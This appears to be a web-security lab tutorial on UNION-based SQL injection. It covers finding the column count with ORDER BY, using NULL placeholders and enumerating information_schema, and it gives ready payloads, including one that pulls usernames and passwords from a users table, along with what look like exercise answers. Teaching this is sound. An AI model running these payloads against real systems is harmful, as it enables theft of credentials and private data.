When an application displays query results on a page, an attacker can append a UNION SELECT statement to the original query. This merges an entirely separate result set into the output the user sees, allowing data from any table in the database to appear where only product names or usernames were intended.
The critical requirement: the injected UNION SELECT must return the same number of columns as the original query. If the original query selects 2 columns, your UNION must also select exactly 2.
Use ORDER BY n with increasing values of n. When n exceeds the column count, the database throws an error, revealing the exact count.
When column types must match, use NULL as a universal placeholder that satisfies any data type requirement.
Query information_schema.tables and information_schema.columns to discover every table and column in the database.
Once you know the column count and table names, use UNION to pull sensitive data (passwords, credit cards, salaries) through the visible output.
Step 1: Find the column count with ' ORDER BY 1--, incrementing until an error occurs.
Step 2: Confirm injection with ' UNION SELECT NULL, NULL-- (matching the column count).
Step 3: Discover tables via ' UNION SELECT table_name, NULL FROM information_schema.tables--.
Step 4: Extract the data you want from the discovered tables.
ORDER BY.
' ORDER BY 1-- (works), then ' ORDER BY 2-- (works), then ' ORDER BY 3-- (error!). The error on 3 tells you there are 2 columns.
UNION SELECT to inject your own row into the results. Make an injected row appear in the product listing.
' UNION SELECT 'injected', 'data'--. The first value appears in the name column, the second in the price column.
' UNION SELECT username, password FROM users--. The usernames appear in the name column, passwords in the price column.
information_schema.tables to discover all tables in the database, then explore their columns.
' UNION SELECT table_name, 'x' FROM information_schema.tables--' UNION SELECT column_name, 'x' FROM information_schema.columns WHERE table_name='users'--